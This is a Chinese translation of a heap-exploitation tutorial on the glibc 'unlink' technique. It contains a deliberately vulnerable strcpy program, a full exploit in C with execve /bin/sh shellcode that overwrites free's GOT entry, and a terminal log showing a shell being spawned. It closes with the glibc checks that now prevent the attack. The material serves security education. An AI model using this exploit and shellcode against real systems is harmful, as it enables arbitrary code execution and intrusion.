使用 unlink 的堆溢出
譯者: 飛龍 原文: Heap overflow using unlink
預備條件:
這篇文章中,讓我們了解如何使用 unlink 技巧成功利用堆溢出。但是在了解它之前,首先讓我們看看漏洞程式:
/*
Heap overflow vulnerable program.
*/
#include <stdlib.h>
#include <string.h>
int main( int argc, char * argv[] )
{
char * first, * second;
/*[1]*/ first = malloc( 666 );
/*[2]*/ second = malloc( 12 );
if(argc!=1)
/*[3]*/ strcpy( first, argv[1] );
/*[4]*/ free( first );
/*[5]*/ free( second );
/*[6]*/ return( 0 );
}
上面程式的行
[3]
會導緻堆溢出。使用者輸入
argv[1]
複制給了堆緩沖區
first
,沒有任何大小限制。是以,當使用者輸入大于 666 位元組時,它就會覆寫下一個塊的頭部。這個溢出會導緻任意代碼執行。
看一看漏洞程式的堆記憶體圖檔:
unlink:這個技巧的核心思想,就是欺騙 glibc malloc 來 unlink 第二個塊。unlink
free
的 GOT 條目會使其被 shellcode 位址覆寫。在成功覆寫之後,現在在行
[5]
,
free
被漏洞程式調用時,shellcode 就會執行。不是很清楚嘛?沒問題,首先讓我們看看執行
free
時,glibc malloc 在幹什麼。
如果沒有攻擊者影響,行
[4]
的
free
會做這些事情:
- 對于不是 mmap 的塊,會向前或向後合并。
- 向後合并
- 檢視前一個塊是不是空閑的 – 前一個塊是空閑的,如果目前空閑塊的
位沒有設定。但是我們這裡,前一個塊是配置設定的,因為它的PREV_INUSE(P)
位設定了,通常堆記憶體的第一個塊的前面那個塊是配置設定的(即使它不存在)。PREV_INUSE
- 如果空閑,合并它。例如,從 binlist unlink(移除)前一個塊,将前一個塊的大小與目前塊相加,并将塊指針指向前一個快。但是我們這裡,前一個快是配置設定的,是以 unlink 不會調用。目前空閑塊
不能向後合并。first
- 檢視前一個塊是不是空閑的 – 前一個塊是空閑的,如果目前空閑塊的
- 向前合并
- 檢視下一個塊是不是空閑的 – 下一個塊是空閑的,如果下下個塊(距離目前空閑塊)的
位沒有設定。為了通路下下個塊,将目前塊的大小加到它的塊指針,再将下一個塊的大小加到下一個塊指針。我們這裡,距離目前空閑塊的下下個塊是 top 塊,它的PREV_INUSE(P)
位已設定。是以下一個塊PREV_INUSE
不是空閑的。second
- 如果是空閑的,合并它。例如,從它的 binlist 中 unlink(移除)下一個塊,并将下一個塊的大小添加到目前大小。但是我們這裡,下一個塊是配置設定的,是以 unlink 不會調用。目前空閑塊
不能向前合并。first
- 檢視下一個塊是不是空閑的 – 下一個塊是空閑的,如果下下個塊(距離目前空閑塊)的
- 現在将合并後的塊添加到 unsorted bin 中。我們這裡,由于合并沒有發生,隻将
塊添加到票 unsorted bin 中。first
現在讓我們假設,攻擊者在行
[3]
覆寫了
second
塊的塊頭部,像這樣:
-
為偶數,是以prev_size
是未設定的,PREV_INUSE
-
size = -4
-
為fd
的位址減 12free
-
為 Shellcode 的位址bk
在攻擊者的影響下,行
[4]
free
會做下面的事情:
-
-
PREV_INUSE(P)
PREV_INUSE
-
first
-
-
-
位未設定。為了通路下下個塊,将目前塊的大小加到它的塊指針,再将下一個塊的大小加到下一個塊指針。我們這裡,距離目前空閑塊的下下個塊不是 top 塊。下下個塊在PREV_INUSE (P)
塊的 -4 偏移處,因為攻擊者将second
塊的大小覆寫成了 -4。是以現在 glibc malloc 将second
塊的second
字段看做下下個塊的大小字段。由于攻擊者覆寫了一個偶數(也就是prev_inuse
為是沒有設定的)來代替PREV_INUSE (P)
,glibc malloc 被欺騙來相信prev_size
塊是空閑的。second
- 如果是空閑的,合并它。例如,從它的 binlist 中 unlink(移除)下一個塊,并将下一個塊的大小添加到目前大小。我們這裡下一個塊是空閑的,是以
塊會像這樣被 unlink:second
- 将
second
和fd
值複制到bk
FD
變量中。這裡,BK
是FD
的位址 -12,free
是 shellcode 的位址(作為堆溢出的一部分,攻擊者将它的 shellcode 放到了BK
堆緩沖區中)。first
-
的值複制到了距離BK
偏移為 12 的位置。我們這裡将 12 位元組加到FD
,就指向了FD
的 GOT 條目,是以現在free
的 GOT 條目就覆寫成了 shellcode 位址。好的。現在無論free
在哪裡調用,shellcode 都會執行。是以漏洞程式中行free
的執行會導緻 shellcode 執行。[5]
- 将
- 現在将合并後的塊添加到 unsorted bin 中。
-
看看漏洞程式的堆記憶體的圖檔,在攻擊者影響使用者輸入之後:
了解了 unlink 技巧之後,讓我們編寫利用程式吧。
/* Program to exploit 'vuln' using unlink technique.
*/
#include <string.h>
#include <unistd.h>
#define FUNCTION_POINTER ( 0x0804978c ) //Address of GOT entry for free function obtained using "objdump -R vuln".
#define CODE_ADDRESS ( 0x0804a008 + 0x10 ) //Address of variable 'first' in vuln executable.
#define VULNERABLE "./vuln"
#define DUMMY 0xdefaced
#define PREV_INUSE 0x1
char shellcode[] =
/* Jump instruction to jump past 10 bytes. ppssssffff - Of which ffff would be overwritten by unlink function
(by statement BK->fd = FD). Hence if no jump exists shell code would get corrupted by unlink function.
Therefore store the actual shellcode 12 bytes past the beginning of buffer 'first'*/
"\xeb\x0assppppffff"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
int main( void )
{
char * p;
char argv1[ 680 + 1 ];
char * argv[] = { VULNERABLE, argv1, NULL };
p = argv1;
/* the fd field of the first chunk */
*( (void **)p ) = (void *)( DUMMY );
p += 4;
/* the bk field of the first chunk */
*( (void **)p ) = (void *)( DUMMY );
p += 4;
/* the fd_nextsize field of the first chunk */
*( (void **)p ) = (void *)( DUMMY );
p += 4;
/* the bk_nextsize field of the first chunk */
*( (void **)p ) = (void *)( DUMMY );
p += 4;
/* Copy the shellcode */
memcpy( p, shellcode, strlen(shellcode) );
p += strlen( shellcode );
/* Padding- 16 bytes for prev_size,size,fd and bk of second chunk. 16 bytes for fd,bk,fd_nextsize,bk_nextsize
of first chunk */
memset( p, 'B', (680 - 4*4) - (4*4 + strlen(shellcode)) );
p += ( 680 - 4*4 ) - ( 4*4 + strlen(shellcode) );
/* the prev_size field of the second chunk. Just make sure its an even number ie) its prev_inuse bit is unset */
*( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE );
p += 4;
/* the size field of the second chunk. By setting size to -4, we trick glibc malloc to unlink second chunk.*/
*( (size_t *)p ) = (size_t)( -4 );
p += 4;
/* the fd field of the second chunk. It should point to free - 12. -12 is required since unlink function
would do + 12 (FD->bk). This helps to overwrite the GOT entry of free with the address we have overwritten in
second chunk's bk field (see below) */
*( (void **)p ) = (void *)( FUNCTION_POINTER - 12 );
p += 4;
/* the bk field of the second chunk. It should point to shell code address.*/
*( (void **)p ) = (void *)( CODE_ADDRESS );
p += 4;
/* the terminating NUL character */
*p = '';
/* the execution of the vulnerable program */
execve( argv[0], argv, NULL );
return( -1 );
}
執行上述程式會派生新的 shell。
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ gcc -g -o exp exp.c
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ ./exp
$ ls
cmd exp exp.c vuln vuln.c
$ exit
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$
保護:現在,unlink 技巧不起作用了,因為 glibc malloc 在近幾年變得更可靠。添加下面的檢查來放置使用 unlink 技巧的堆溢出。
- 二次釋放:釋放一個已經在空閑清單的塊是不允許的。當攻擊者使用 -4 覆寫第二個塊時,它的
為沒有設定,這意味着PREV_INUSE
已經是空閑狀态了。是以 glibc malloc 會抛出二次釋放錯誤。first
if (__glibc_unlikely (!prev_inuse(nextchunk))) { errstr = "double free or corruption (!prev)"; goto errout;
- 下一個塊大小無效:下一個塊的大小應該在 8 到 arena 的全部系統記憶體之間。當攻擊者将
塊的大小賦為 -4 時,glibc malloc 就會抛出下一個塊大小無效的錯誤。second
if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0) || __builtin_expect (nextsize >= av->system_mem, 0)) { errstr = "free(): invalid next size (normal)"; goto errout; }
- 雙向連結清單指針破壞:前一個塊的
和下一個塊的fd
應該指向目前 unlink 塊。當攻擊者使用bk
和 shellcode 位址覆寫free -12
fd
時,bk
和 shellcode 位址 + 8 就不會指向目前 unlink 塊(free
)。是以 glibc malloc 就抛出雙向連結清單指針破壞錯誤。second
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr (check_action, "corrupted double-linked list", P);
注意:出于示範目的,漏洞程式不适用下列 Linunx 保護機制編譯:
- ASLR
- NX
- RELRO(重定向隻讀)